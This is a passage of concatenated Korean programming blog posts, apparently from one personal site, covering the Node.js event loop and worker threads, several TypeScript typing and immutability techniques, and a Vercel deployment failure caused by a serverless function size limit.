`process.nextTick`는 콜백함수 호출을 지연시켜 비동기로 만드는데 사용할 수 있다. 물론, `setImmediate`를 사용할 수도 있다. [그러나 `process.nextTick`이 `setImmediate`보다 더 높은 우선순위를 가지고 있어 빠르다.](https://stackoverflow.com/questions/15349733/setimmediate-vs-nexttick)

## CPU 집약적인 함수는 EventLoop를 블로킹한다.

많은 사람들이 CPU 집약적인 작업은 Node.js의 EventLoop를 블로킹한다고 믿고 있다. 이는 어느정도는 사실이지만, EventLoop를 차단하지 않는 일부 함수들이 있기 때문에 100% 사실이 아니다.

일반적으로, 암호화/압축 작업은 CPU를 많이 잡아 먹는다. 이러한 이유로, 특정 crypto 함수나 zlib함수는 비동기 버전이 있으며, 이 함수는 EventLoop를 차단하지 않도록 libuv 스레드 풀에서 계산을 수행한다. 그 함수들의 목록은 아래와 같다.

- `crypto.pbkdf2()`
- `crypto.randomFill()`
- `crypto.randomBytes()`
- `zlib`의 모든 비동기 함수

그러나 순수 자바스크립트를 사용하여 libuv 스레드 풀에서 CPU 집약적인 작업을 수행할 수 있는 방법은 없다. 그러나 libuv 스레드 풀에서 작업을 예약할 수 있는 C++ addon을 직접 작성할 수는 있다. CPU 집약적인 연산을 수행하고, CPU 바운더리 연산을 위한 비동기 API를 구현하기 위해 C++ addon을 사용하는 이와 같은 라이브러리에는 [brcypt](https://github.com/kelektiv/node.bcrypt.js)가 있다.

## 모든 비동기 작업은 스레드 풀에서 실행된다?

최신 운영체제들은 Event Notification(linux의 epoll, Macos의 kqueue, 윈도우의 IOCP)을 사용하여 네트워크 IO작업을 위한 네이티브 비동기화를 용이하게 지원하는 커널을 내장하고 있다. 따라서 네트워크 IO는 libuv스레드 풀에서 실행되지 않는다.

그러나 파일 IO는 운영체제 전반에 있어서, 경우에 따라는 운영체제 버전에 따라서 상이한 경우가 많다. 따라서 일반화된 플랫폼 독립 File IO api를 만드는 것이 매우어렵다. 따라서 파일 시스템 작업은 일관된 비동기 API를 만들기 위해서 libuv 스레드 풀에서 수행된다.

`dns` 모듈 내에 있는 `dns.lookup()` 함수도 마찬가지로 libuv스레드 풀에서 실행된다. 이 함수를 사용하여 도메인 이름을 IP 주소로부터 확인하는 것은 플랫폼 종속적인 작업이며, 이작업은 100% 네트워크 IO가 아니기 때문이다.

## NodeJS는 CPU 집약적인 작업을 하는 애플리케이션에서 사용하면 안된다?

정확히 말하면, 이는 과거까지는 사실이었지만 이제 [worker thread](https://www.google.com/search?q=worker_thread&oq=worker_thread&aqs=chrome..69i57j0i10i19i30j0i19i30l8.2621j1j1&sourceid=chrome&ie=UTF-8)가 도입되면서 가능해졌다. 따라서 CPU 집약적인 작업을 처리하는 프로덕션 애플리케이션에서 Node.js를 사용하기에 적합해졌다.

각 Nodejs의 워커 스레드는 자체 v8 런타임의 복사본, Event Loop, libuv 스레드풀을 가진다. 그러므로 CPU 집약적인 블로킹 작업을 하는 하나의 worker thread는 다른 worker thread에 영향을 주지 않게 된다.

https://yceffort.kr/2021/04/nodejs-multithreading-worker-threads

그러나 worker thread를 원활하게 지원하는 IDE는 현재 없는 것으로 보인다. 일부 IDE의 경우, 기본 main worker가 아닌 worker thread에 디버거를 연결하는 것을 지원하지 않는다. 그러나 현재 점차 많은 개발자들이 비디오 인코딩과 같은 CPU 집약적인 작업의 지원을 위해 worker thread 채택을 시작하기 때문에 점차 성숙할 것으로 보인다.

---

Source: https://yceffort.kr/2021/05/value-of-typescript.md
Title: Typescript, 객체의 키와 값 타이핑하기
Description: 아오 피곤해
Date: 2021-05-27
Tags: typescript

```javascript
const object = {
  a: 'a',
  b: 'b',
  c: 'c',
}

const value = 'a'

const values = Object.values(object) // a, b, c
const isValid = values.includes(value) // true

if (!isValid) {
  throw new TypeError(`${value} is not one of values, ${values`)
}
```

위 코드에서, `value`가 `a` `b` `c` 중 하나가 아니면 에러가 날 것이다. 이를 타입스크립트에서 타입 가드를 하는 방법을 살펴보자.

## typescript

```typescript
const object = {
  a: 1,
  b: 2,
  c: 3,
}

type objectShape = typeof object
```

여기서 `objectShape`는 아래와 같을 것이다.

```typescript
type objectShape = {
  a: number
  b: number
  c: number
}
```

여기에 `as const` 를 추가해보자.

```typescript
const object = {
  a: 1,
  b: 2,
  c: 3,
} as const

type objectShape = typeof object
```

```typescript
type objectShape = {
  readonly a: 1
  readonly b: 2
  readonly c: 3
}
```

두가지가 바뀐 것을 볼 수 있다. 첫번째로, 모든 속성에 `readonly`가 붙어서 객체의 키 값을 바꿀 수 없게 되었고 두번째로는 `string`이 었던 값이 정확히 값으로 바뀌게 되었다. 이는 모두 `readonly`로 값이 수정되지 않는 다는 것을 확실히 했기 때문이다.

이번엔 키를 추출해보자.

```typescript
type keys = keyof objectShape // "a" | "b" | "c"
```

이러한 키를 추출했으니, 값들도 추출해 낼 수 있다.

```typescript
type values = objetShape[keys] // 1 | 2 | 3
```

## Valueof Generic

```typescript
type objectShape = typeof object
type keys = keyof objectShape
type values = objectShape[keys]
```

이번엔 제네릭으로 돌아가보자.

```typescript
type values = Shape[keyof objectShape]
type ValueOf<T> = T[keyof T]
```

```typescript
const object = {
  a: 1,
  b: 2,
  c: 3,
}

type ValueOf<T> = T[keyof T]
const a: ValueOf<typeof object> = 1
const b: ValueOf<typeof object> = 2
const c: ValueOf<typeof object> = 3
const d: ValueOf<typeof object> = 4 // error Type '4' is not assignable to type 'ValueOf<{ readonly a: 1; readonly b: 2; readonly c: 3; }>
```

---

Source: https://yceffort.kr/2021/05/immutability-in-typescript.md
Title: Typescript의 Immutability
Description: 저는 사실 Immutability에 안 좋은 추억이 있습니다
Date: 2021-05-26
Tags: typescript

## Table of Contents

## 불변성

Immutability(이하 불변성)이란, 초기에 할당 한 이후에 더 이상 상태가 변하지 않는 객체를 의미한다. 프로젝트 내의 모든 객체에 이 불변성을 적용하면, 가독성 향상, 코드에 대한 이해도 증가, 스레드의 안정성 등을 확보할 수 있다.

## 불변성을 논하기에 앞서

소프트웨어 아키텍쳐의 전통적인 객체지향 접근법에서, 모든 클래스 인스턴스는 특정 인스턴스에만 연결된 상태를 가질 수 있다. 상태의 초기화는 클래스 생성자에서 발생하며, 클래스 메소드를 호출 할 때 해당 상태에 대한 변경을 적용할 수 있다. 아무리 이러한 상태 값의 변화가 체계적으로 정리되어 있다고 하더라도, 클래스의 상태가 변할 수 있다는 측면은 클래스에 의존하는 코드의 구조에 크게 영향을 미친다.

이러한 상태 값 변이에 따른 단점을 이해하기에 앞서, 두개의 타입의 함수를 먼저 소개하고자한다.

- synchronous(동기): 현태 실행 컨텍스트에서 즉시 실행되어 리턴한다
- asynchronous(비동기) 현재 실행컨텍스트에서 대기하며, 다른 실행 컨텍스트에서 실행되어 값을 가져온다.

코드 실행환경에 따라, 클로져가 비동기 함수가 끝나는 것을 기다리지 않고 호출하며, 그 함수가 상태값을 바꾼다면, 클로져 내부에서의 함수 호출에 대해 신뢰성을 가질 수가 없다. 동기호출에는 이러한 부수효과가 없다. 그러나, 특정 상태를 기반으로 한 호출은, 동기 함수가 내부에서 상태를 변경해버린다면 모두 무효가 되버린다.

두번째로, 불변함수와 변이함수를 구분해야 한다. 불변함수를 호출하는 것은 부수효과를 만들지 않으며, 결과를 리턴한다는 단하나의 효과(effect) 만 가진다. 그러나 변이 함수는 내부에서 상태를 바꿀 수 있는 가능성이 있고, 이는 부수효과를 불러 일으키게 된다.

세번째로, 객체지향 아키텍쳐에서 개발자는 어떤 클래스에서든 getter와 setter를 정의할 수 있다. `getter`는 단순히 상태값을 리턴하는 행위로, 불변함수로 동작한다. 반면에 `setter`는 상태에 값을 부여하므로 변이를 이르키게 된다.

마지막으로, 이러한 모든 개념을 다 통틀어서, 개발자는 코드의 다양한 위치와 다양한 실행 컨텍스트 (스레드, 콜백 모두)에서 변이되는 상태가 만드는 잠재적인 복잡성을 볼 수 있어야 한다. 개발자들이 미래의 복잡함으로 부터 상태를 보호하는 지침을 따르지 않는다면 코드에 대한 디버깅이나 추론이 복잡한 시스템에서 골칫거리로 작용할 수 있다. 이것은 불변성을 적용하는 근본적인 이유, 프로젝트의 원활한 유지보수를 지원하기 위한 의욕을 떨어 뜨릴 수 있다.

## 자바스크립트의 불변성

자바스크립트는 멀티 패러다임 언어이므로, 개발자에게 함수형 사고를 강요하지 않으면서도 함수형 프로그래밍의 측면을 구현할 수 있다. 언어 자체적으로는 앞서 언급한 불변성을 지원하는데, 이를 위해 몇가지 문자열을 붙여야 한다. 불변성을 적용하기 위해서는, 해당 변수나 객체에 명확하게 표현하는 작업을 거쳐야 한다.

### Primitive, wrapper type

자바스크립트에는 몇가지 원시타입 (`boolean` `number` `bigint` `string` `symbol` `null` `undefined`) 이 있다. 이들 모두 메소드가 없다. 따라서 불변의 방식으로 작동하며, 이는 함수로 이들을 전달하는 것이 부수효과를 만들지 않는 다는 것을 의미한다. 대부분의 자바스크립트 개발자가 5가지 wrapper (object)에 대해 잘 알지 못한다. (`Boolean` `Number` `BigInt` `String` `Symbol`) 이는 언어가 원시타입과 래퍼 객체에 상호교환(interchangeable)을 가능하게 해주기 때문이다.

모든 객체 (원시타입이 아닌것, 함수 포함)는 메소드를 포함하므로 값의 변화가 있을 수 있다. 객체는, 그 정의에 따라 프로토타입을 가지고 있으며, 이러한 프로토타입을 바꾸는 것은 객체의 동작을 바꿀 수도 있다.

### 변수 선언

개발자들은 변수를 선언하기 위해서 `let` `const`를 사용해야 한다. 개인적으로 개발자들에게 `let`의 사용을 자제하도록 하게 하는 편이다. `let`은 스코프 내에서 몇번이고 재할당이 이루어져서 문제가 될 수 있기 때문이다. 경험이 많은 개발자들은, 변수의 재 할당을 여러 함수에 나누고, 이를 별도로 리턴하도록 리팩토링 한다.

### 객체 동결

자바스크립트는 객체를 `얕게` 불변하게 만들어주는 함수를 가지고 있다. `얕게`라는 말에 주목하자. 중첩된 객체에서는 이러한 특성이 적용되지 않는다. `Object.freeze` 함수는 말그대로 객체를 동결시켜 주며, 이를 얕게 불변하게 만들어준다.

```javascript
const obj = {
  a: {
    b: 1,
  },
}
Object.freeze(obj)
obj.a = null // 안됨!
obj.b = true // 안됨!
obj.a.b = 2 // 됨?!!
```

`Object.freeze`는 객체의 런타임 수준에서 직접적으로 제한을 건다. 객체를 동결하면, `writable`과 `configurable`가 false로 바뀐다. [이-글](/2020/10/object-freeze-seal-preventExtensions)을 참고하자. 아무튼, 객체를 정말로 깊게 불변하게 만들기 위해서는, 별도로 써드 파티 라이브러리를 사용하거나 스스로 구현해야 한다.

### 함수 속성

함수 또한 객체라는 점에서, 모든 함수 속성은 잠재적으로 변할 수 있는 가능성이 있다. 객체를 함수에 전달하는 것은 메모리 참조에 의해서 일어나고, 전달된 원시타입은 값에 의해 일어난다고 보자. 흥미롭게도(혹은 귀찮게도) 자바스크립트는 함수의 arguments를 재할당 할 수 있도록 해주는데, 이는 클로져 규칙에 따라 함수 범위 밖에서는 영향을 미치지 않는다.

## 타입스크립트의 불변성

타입스크립트는 불변성과 관련되어 놀라운 기능을 제공한다. compile-time 타입 시스템을 활용하여, 엔드 유저에게 전달되는 코드의 양을 줄이고, 런타임 레벨에 대한 제한을 명시할수도 있게 해준다. 타입스크립트는 불변성을 달성하기 위해, `readonly` 속성의 개념을 도입한다.

### `readonly`

`readonly`는 타입과 인터페이스, 클래스 속성과 생성자에 사용할 수 있다.

- `readonly`: https://www.typescriptlang.org/docs/handbook/typescript-in-5-minutes-func.html#readonly-and-const
- `- readonly`

클래스 레벨에서 상수를 정의하면, 객체 오직 단한번, 객체 생성중에만 할당된 변경 불가능한 속성을 정의할 수 있다.

### `readonly`의 사용

타입스크립트는 다음과 같은 방법으로 얕은 불변성을 제공한다.

- `Readonly<T>`: https://www.typescriptlang.org/docs/handbook/utility-types.html#readonlytype
- `ReadonlyArray<T>`: https://www.typescriptlang.org/docs/handbook/2/objects.html#the-readonlyarray-type
- `ReadonlySet<T>`
- `ReadonlyMap<K, V>`

`Object.freeze<T>`가 결과로 `Readonly<T>`를 리턴한다는 사실을 주목하자. 이는 자바스크립트의 `freeze`와 `readonly`사이의 일종의 연결고리다.

### 깊은 불변성

언급했다시피, `readonly`는 깊은 불변성을 제공하지 않으므로 개발자가 써드파티 라이브러리를 쓰거나 직접 구현해야 한다. [ts-essentials](https://github.com/krzkaczor/ts-essentials)에서 제공하는 [DeepReadonly](https://github.com/krzkaczor/ts-essentials#Deep-wrapper-types)를 사용해보자.

## 불변성을 위한 가이드

프로젝트 내부의 객체에 불변성을 적용하는 것은 매우 중요하므로, 프로젝트의 핵심 아키텍쳐 원리에 통합되어야 한다. 물론 소프트웨어 전문가들이 어느정도까지 이러한 패턴을 적용해야 하는지는 많은 논쟁이 있었지만, 대체로 다음과 같은 타입스크립트 개발을 위한 지침을 추천한다.

- `const`로 변수 선언하기
- 컴파일 타입 불변성 사용
- 클래스 인스턴스의 사용을 함수로만 제한
- `Readonly<T>`를 사용하여 불변의 타입으로 선언
- 불변의 유형에서 적절한 서브타입을 추출하여 변이 타입을 사용하되, 이에 대한 사용을 한정 지을 것
- 얕은 불변성은 깊은 불변성을 효과적으로 적용하기 위하여 모든 기능을 제공할 것 (= 얕은 불변성 만으로 깊은 불변성을 달성할 수 있어야 한다)
- 함수는 불변의 파라미터를 받아야 한다.
- 함수는 불변값을 리턴해야 한다.
- 가장 최선의 함수는 순수함수다.

프로젝트 전체 영역에 불변 타입을 선언하면, 개발자들은 개발시에 불변성을 먼저 염두해둘 수 있으며, 필요한 경우 이러한 불변타입의 도움을 얻어 보다 복잡한 타입을 구성할 수도 있다. 시스템의 대부분의 함수는 변경할 수 없는 구조를 수용하고, 이를 만들어 내야 한다. 아래 코드를 참조하자.

```typescript
type Writable<K extends string | number | symbol, V> = {
  -readonly [P in K]: V
}

type ExtractFromReadonlySet<T> = T extends ReadonlySet<infer R> ? R : never
type ExtractFromReadonlyArray<T> = T extends ReadonlyArray<infer R> ? R : never
type ExtractFromReadonlyMap<T> =
  T extends ReadonlyMap<infer K, infer V> ? [K, V] : never
```

```typescript
// 얕은 수준의 불변성 타입을 이용하여, 깊은 불변성을 강제한다.
type User = Readonly<{
  id: string
  groups: ReadonlySet<
    Readonly<{
      id: string
      public: boolean
    }>
  >
}>

// ReadonlySet로 부터 타입을 추출한다.
type ExtractFromReadonlySet<T> = T extends ReadonlySet<infer R> ? R : never

// 함수는 불변의 인자를 받는다
// 함수가 불변 타입의 값을 리턴한다.
// 순수함수
const getUserPublicGroupIds = (user: User): User['groups'] => {
  // 변수는 const로 선언되어야 한다.
  const set = new Set<ExtractFromReadonlySet<User['groups']>>()

  Array.from(user.groups).forEach((group) => {
    if (group.public) {
      set.add(group)
    }
  })

  return set
}
```

## 리팩토링

새로운 프로젝트의 경우엔 상관없지만, 오래된 코드베이스의 리팩토링은 숙련된 개발자에게도 문제가 될 수 있으므로 소프트웨어 전문가들이 항상 프로젝트 전반의 변경을 사전에 계획할 필요가 있다.

타입스크립트 프로젝트에 불변성을 강제하는 작업을 하기 위해, 아래와 같은 목록을 작성해보았다.

- 기존 함수의 반환 값을 불변으로 변경하고, 그에 따른 문제 해결
- 기존 함수의 파라미터를 불변으로 변경하고, 그에 따른 문제 해결
- 얕은 복사, 또는 깊은 복사를 통해 불변의 구조로 변경
- 코드 리팩토링 중에 컴파일러가 잠재적으로 모든 버그를 보여줄 것이라 기대하지 말 것
- 광범위한 테스트에 의존

리턴 타입을 불변하게 만드는 것은 리팩토링의 첫번째 단계다. 함수가 불변한 값으로 리턴하기 위해, 아래와 같은 작업을 수행해야 한다.

- 컴파일러를 만족시키기 위해 얕은 복사를 하거나
- 코드를 다른 방향으로 수정

불변값을 얕은 수준의 불변값으로 변경하는 것은 자바스크립트의 표준 라이브러리에 이미 정의된 방법으로 구현할 수 있다.

- 객체: `Object.assign({}, obj)` `{...obj}`
- 배열: `arr.slice()`, `[...arr]`

리팩토링전

```typescript
type User = {
  id: string
  groupIds: string[]
}

const mutableAppendGroupsToUser = (groupIds: string[], user: User): User => {
  user.groupIds = Array.from(new Set([...user.groupIds, ...groups]))

  return user
}
```

리팩토링후

```typescript
type ReadonlyUser = Readonly<{
  id: string
  groupIds: ReadonlyArray<string>
}>

// 이제 함수는 오직 불변 타입만 받는다.
const immutableAppendGroupsToUser = (
  groupIds: ReadonlyArray<string>,
  user: ReadonlyUser,
): ReadonlyUser => {
  // 더 이상 `user.groupIds`를 직접 수정하지 않는다.
  const newGroupIds = Array.from(new Set([...user.groupIds, ...groupIds]))

  // 함수가 완전히 새로운 객체를 리턴한다.
  return Object.assign({}, user, {groupIds: newGroupIds})
}
```

개발자들이 큰 객체에 대한 깊은 복사를 할 때 성능상의 문제를 조심해야 한다. 또한 불변성을 도입하면, 컴파일러의 도움이 있던 없던 간에 이전부터 있었던 버그가 수면위로 떠오르는 일이 나타날 수 있다. 어떤 프로젝트던지, 합리적인 테스트를 거쳐야만 최종 사용자에게 훌륭한 경험을 보장해준다.

> https://levelup.gitconnected.com/the-complete-guide-to-immutability-in-typescript-99154f859fdb

---

Source: https://yceffort.kr/2021/05/bad-habits-of-typescript.md
Title: 타입스크립트에서 조심해야할 습관
Description: M1 맥북 프로 너무 좋네여
Date: 2021-05-25
Tags: typescript

## Table of Contents

## any

타입스크립트에서 얼마나 타입을 잘 지키는지는, `any`를 얼마나 사용하느냐에 달려 있다고 봐도 될 것 같다. 그러나 불가피하게 `any`가 사용되는 경우도 있다. `JSON.parse`가 그 중 하나다. 이 메소드는, 리턴타입을 추론 할 수 없기 때문에 `any`로 리턴을 한다.

```typescript
JSON.parse('{hello: world}')
// (method) JSON.parse(text: string, reviver?: ((this: any, key: string, value: any) => any) | undefined): any
```

`any`의 유혹은 강력하다. 그냥 뭐든지 넘겨주기 때문이다.

```typescript
function testNumber(num: number) {
  return num + 1
}

const num: any = 'eleven' // any 라서 number만 넘길 수 있었는데 무시되었다.
testNumber(num)
```

따라서 `any`의 사용은 최소화 하는 것이 좋다. 타입을 아직 알 수 없을 때는, `any`대신 `unknown`을 쓰는게 좋다.

## Type Assertion

`type assertion`은 엄밀히 말해서 `cast`와는 다르다. 타입스크립트에서 `type assertion`이란 `x as number`와 같은 형태를 의미한다. 타입이 있는 다른언어 (C, Java등) 에서 `cast`는 런타임에 영향을 미친다. 예를 들어, `(int)f`가 있다면 float이 런타임 중에 int로 바뀌게 된다. [그러나 타입스크립트는 런타임시에 타입을 제거하기 때문에](http://neugierig.org/software/blog/2016/04/typescript-types.html) 실제로 아무런 영향을 미치지 않는다.

```typescript
const strOrNum = Math.random() ? '42' : 42
const num = strOrNum as number
```

을 컴파일하면 별 차이가 없다.

```javascript
'use strict'
const strOrNum = Math.random() ? '42' : 42
const num = strOrNum
```

따라서 `type assertion`이란 타입으로 캐스팅을 하는게 아니고, 그냥 그게 이 타입이라고 주장하는 것이다. (그래서 `assertion`이기도 하구)

```typescript
function testNumber(num: number) {
  return num + 1
}

const num = Math.random() ? 'eleven' : 11
testNumber(num as number) // 반반쯤의 확률로 에러가 난다.
```

이러한 `as`의 사용은 api 호출에서도 자주 보인다.

```typescript
const response = await fetch('/api/user')
const result = (await response.json()) as UserInterface
```

이러한 경우에는, [타입 가드](https://basarat.gitbook.io/typescript/type-system/typeguard)를 써서 막는 것이 좋다.

```typescript
function isUser(data: unknown): data is UserInterface {
  return data && typeof data === 'objet' && 'name' in data // ...
}
const response = await fetch('/api/user')
const result = await response.json()

if (!isUser(result)) {
  throw new Error(`${result}는 UserInterface가 아니예욧`)
}
```

조금더 빡세게(?) 타입가드를 하고 싶다면, [Zod](https://github.com/colinhacks/zod)와 같은 도구를 사용해보는 것도 좋다. 혹은 [typescript-json-schema](https://github.com/YousefED/typescript-json-schema)로 JSON schema에서 타입을 뽑아낸 다음에 검사하는 방법도 있을 수 있다.

## 객체와 배열 lookup

타입스크립트는 배열을 참조할 때 별다른 처리를 하지 않기 때문에, 에러가 날 수 있다.

```typescript
const l = [1, 2, 3]
const item = l[3]
item + 1 // error 지만, 컴파일시에는 모른다.
```

```typescript
const user: {[key: string]: string} = {name: 'kyc'}
user.age + 1 // error 지만, 컴파일 시에는 모른다.
```

왜 타입스크립트가 가만 뒀을까? 아마도 이러한 상황은 매우 자주 있는 일이고, 이것이 유효한지 체크하는 것이 꽤 어려운일이어서 그런걸수도 있다. 근데, 이를 체크하는 방법이 있다. 바로 [noUncheckedIndexedAccess](https://www.typescriptlang.org/tsconfig#noUncheckedIndexedAccess)다.

```typescript
const l = [1, 2, 3]
const item1 = l[3]
const item2 = l[2]
item1 + 1 // Object is possibly 'undefined'.(2532)
item2 + 1 // 근데 문제는 이거까지 에러가 난다는 거다.

l.map((item) => item + 1) // 이런건 괜찮다.
```

[확인해보기](https://www.typescriptlang.org/play?noUncheckedIndexedAccess=true#code/MYewdgzgLgBANjAvDA2gRgDQwExYMwC6AsAFCiSwCWUApgLZpLwqGnnQzX3ZNwrbESXBjADUMRqWE9xaIA)

위에서 보이는 것 처럼, `noUncheckedIndexedAccess`는 적당히 경고를 날려주는 장점도 있지만, 그다지 똑똑하지 않다는 단점도 있다.

결론적으로, 객체나 리스트를 lookup 할때는 undefined가 있을 가능성에 대해서 염두해 두어야 한다.

## 부정확한 타입 정의

자바스크립트의 라이브러리에 타입선언을 집어넣는 것은 일종의 거대한 `type assertion`이다. 그들의 라이브러리가 이렇게 정적으로 모델링 했다고 주장하는 거지만, 이를 보장하는 것은 아무것도 없다. (물론 이는 라이브러리가 타입스크립트로 작성되지 않았다는 것에 한해서다. 타입스크립트로 작성되지 않고, 타입만 있다면 이런일이 발생할 수 있다.)

예를 들면 2년째 고쳐지지 않는 [잘못된 타이핑](https://github.com/alex3165/react-mapbox-gl/issues/776) 이라던가...

이런 문제를 해결하는 가장 좋은 방법은, 직접 버그를 고치는 것이다. 직접 [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped)에 쳐들어가서 고치면 된다. 이게 좀 부담되는 나와 같은 ISTJ 들에겐 [augmentation](https://www.typescriptlang.org/docs/handbook/declaration-merging.html) 이나, 최악의 옵션으로 type assertion을 활용하는 방법도 있다.

물론, 몇몇 함수는 이렇게 타입을 선언하기가 굉장히 어렵다는 것도 이해해줘야 한다. [String.prototype.replace](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_function_as_a_parameter)의 파라미터를 잠깐 보자. [Object.assign](https://github.com/microsoft/TypeScript/pull/28553#issuecomment-440004598)의 경우엔, 피치못할 사정으로 인해 잘못된 타이핑이 된 경우도 있었다.

## variance and arrays

[typescript github의 이 이슈](https://github.com/microsoft/TypeScript/issues/9825#issuecomment-234115900)를 살펴보자.

```typescript
function addDogOrCat(arr: Animal[]) {
  arr.push(Math.random() > 0.5 ? new Dog() : new Cat())
}

const z: Cat[] = [new Cat()]
addDogOrCat(z) // 개가 들어갈 수도 있다.
```

이러한 짓을 방지하려면 어떻게 해야할까? `readonly`를 쓰는 방법이 있을 수 있다.

```typescript
function addDogOrCat(arr: readonly Animal[]) {
  arr.push(Math.random() > 0.5 ? new Dog() : new Cat())
  //  Property 'push' does not exist on type 'readonly Animal[]'.
}
```

아니면, `push` 대신 이렇게 하거나.

```typescript
function dogOrCat(): Animal {
  return Math.random() > 0.5 ? new Dog() : new Cat()
}

const z: Cat[] = [new Cat(), dogOrCat()]
```

관련해서 읽어볼만 한 좋은 글: https://iamssen.medium.com/typescript-%EC%97%90%EC%84%9C%EC%9D%98-%EA%B3%B5%EB%B3%80%EC%84%B1%EA%B3%BC-%EB%B0%98%EA%B3%B5%EB%B3%80%EC%84%B1-strictfunctiontypes-a82400e67f2

## 함수 호출에 따른 부작용

```javascript
interface UserInterface {
  name: string
  age?: number
}

function userProcessor(user: UserInterface, processor: (user: UserInterface) => void) {
  if (user.age) {
    processor(user)
    document.body.innerHTML = `${user.age + 1}`
  }
}
```

만약 `processor`에서 이런짓을 하면 어떻게 될까?

```typescript
userProcessor({name: 'kyc', age: 15}, (u) => delete u.age)
// 타입 체크는 성공하지만, 에러가 날거다.
```

물론 만일을 위해서 `if`처리가 추가되었지만, `processor`에서 이를 무효화 했다. 타입스크립트는 저 함수에서 무슨짓을 할지 모르기 때문에, 어찌보면 당연한 것이다.

자바스크립트에서 파라미터를 조작하는 일은 흔치 않고 또한 안티패턴이기 때문에, 타입스크립트에서는 이러한 동작을 허용해 뒀을 것이다.

이를 수정해두는 방법은, 역시 `readonly`를 사용하는 것이 있다.

```typescript
function userProcessor(
  user: UserInterface,
  processor: (user: Readonly<UserInterface>) => void,
) {
  if (user.age) {
    processor(user)
    document.body.innerHTML = `${user.age + 1}`
  }
}

userProcessor({name: 'kyc', age: 15}, (u) => delete u.age)
// The operand of a 'delete' operator cannot be a read-only property.
```

> Readonly는 얕은 비교만 하기 때문에, [ts-essentials](https://github.com/krzkaczor/ts-essentials)를 사용해야 깊은 비교를 할 수 있다.

당연하게도, 가장 좋은 방법은 객체의 처리를 객체가 정의된 이후에 하는 것이다.

```typescript
function processFact(
  user: UserInterface,
  processor: (user: UserInterface) => void,
) {
  const {age} = user
  if (age) {
    processor(user)
    document.body.innerHTML = `${age + 1}` // safe
  }
}
```

## Further reading

- https://frenchy64.github.io/2018/04/07/unsoundness-in-untyped-types.html
- https://www.typescriptlang.org/docs/handbook/type-compatibility.html#a-note-on-soundness
- https://www.typescriptlang.org/play?strictFunctionTypes=false&q=209#example/soundness

---

Source: https://yceffort.kr/2021/05/do-not-use-suppressImplicitAnyIndexErrors.md
Title: suppressImplicitAnyIndexErrors 옵션을 키기 전에
Description: Don’t give up and use suppressImplicitAnyIndexErrors 이 멋있어서 배껴봄
Date: 2021-05-23
Tags: typescript

타입스크립트를 배우고, 본격적으로 사용하면서 부딪히는 가장 최초의 어려움은 바로 이 에러가 아닐 까 싶다.

```bash
Element implicitly has an 'any' type because type '{}' has no index signature.
```

- https://www.typescriptlang.org/tsconfig#suppressImplicitAnyIndexErrors
- https://www.typescriptlang.org/tsconfig#noImplicitAny

보통 이런 에러는 아래와 같은 코드에서 나타난다.

```typescript
for (const [key, value] of Object.entries(obj)) {
  ///...
}
```

`Object.entries` 는 아마도 다음과 같이 타이핑이 되어 있을 것이다.

```typescript
entries(o: {}): [string, any][];
```

```typescript
const test = {a: 'a', b: 'b', c: 'c'}
for (const [k, v] of Object.entries(test)) {
  const value = test[k] // Element implicitly has an 'any' type because index expression is not of type 'number'.ts(7015)
}
```

`k` 객체의 키로 `v`를 추정할 수 없기 때문에 발생하는 문제다.

이럴 때는 아래와 같이 작업해보자.

## 방법 1.

```typescript
type testKey = 'a' | 'b' | 'c'

const test: {[key in testKey]: string} = {a: 'a', b: 'b', c: 'c'}
for (const [k, v] of Object.entries(test)) {
  const value = test[k as testKey]
  console.log(k === v)
}
```

object의 key의 타입을 추론한다음, 이를 설정하는 방법이다.

## 방법 2.

```typescript
function entries<O extends Object>(obj: O): Array<[keyof O, any]> {
  return Object.entries(obj) as Array<[keyof O, any]>
}

for (const [k, v] of entries(test)) {
  const value = test[k]
  console.log(k === v)
}
```

느슨하게 타이핑되어 있는 `Object.entries`를 강력하게 `test` 객체의 형태에 맞 맞춰 타이핑한다.

---

Source: https://yceffort.kr/2021/05/review-of-vercel-cs.md
Title: Vercel에서 배포가 안됐던 이야기
Description: Vercel 고객센터랑 싸운썰 푼다.txt
Date: 2021-05-17
Tags: nextjs, devops

지난달 (2021년 4월) 에는 포스팅이 좀 뜸했었다. 지난 달에 ~~빌어먹을~~ 프로젝트 하나가 끝난게 핑계라면 핑계겠지만, 사실 그것보다 더 큰 문제가 있었다.

갑자기 어느 순간 부터 배포가 안되기 시작했다.

![error](./images/vercel1.png)

```bash
Error: The Serverless Function "[year]/[...slugs]" is 102.99mb which exceeds the maximum size limit of 50mb. Learn More: https://vercel.link/serverless-function-size
```

이유인 즉슨, `[...slugs].js`가 [aws serverless function에서 허용하는 50mb를 초과한다는 것이었다.](https://vercel.link/serverless-function-size) 근데 갑자기 이런 에러가 나는게 이상했다. 나는 저 함수에 뭔가 엄청난 걸 추가한 적이 없는데? 그래서 마지막으로 성공한 커밋을 한번 다시 배포해보았다.

![success](./images/vercel2.png)

![fail](./images/vercel3.png)

어라? 근데 같은 커밋 sha 에서도 배포가 되지 않는 것이었다. 이상했다. 내가 아는 상식선에서는 같은 커밋은 곧 같은 결과를 만들어야 하는대데? 그 때부터 vercel 고객센터와 싸움이 시작되었다.

첫번째로 제시한 해결책은 next canary 버전 설치와 node 12에서 node 14로 버전업이었다. 사실 이건 그냥 전자제품 껐다 켜보셨나요 수준의 솔루션이라고 생각했다. 이미 나는 next 최신버전을 항상 사용중이기 때문에, canary와 별차이가 없었고 (github까지 가서 확인했다.) node는 죄가 없다고 생각했기 때문이다.

당연히 고쳐지지 않았고, CS 팀에서는 내 빌드 결과를 보여달라고 했다.

```bash
Page                                                                                                          Size     First Load JS
┌ ● /                                                                                                         2.28 kB        90.3 kB
├   /_app                                                                                                     0 B            82.2 kB
├ ○ /404                                                                                                      2.59 kB        84.8 kB
├ ○ /about                                                                                                    3.98 kB        86.2 kB
├ ● /blogs/2018/[...slugs]                                                                                    2.92 kB        96.6 kB
├   ├ /blogs/2018/2018/10/26/central-bank-issued-digital-currencies-why-governments-may-or-may-not-need-them
├   ├ /blogs/2018/2018/12/17/step-by-step-machine-learning-05
├   ├ /blogs/2018/2018/12/15/ibm-blockchain-maersk-shipping-struggling
├   └ [+183 more paths]
├ ● /blogs/2019/[...slugs]                                                                                    2.92 kB        96.6 kB
├   ├ /blogs/2019/2019/12/30/blog-renewal
├   ├ /blogs/2019/2019/09/06/javascript-event-loop
├   ├ /blogs/2019/2019/12/23/tensorflowjs-03-linear_regression
├   └ [+66 more paths]
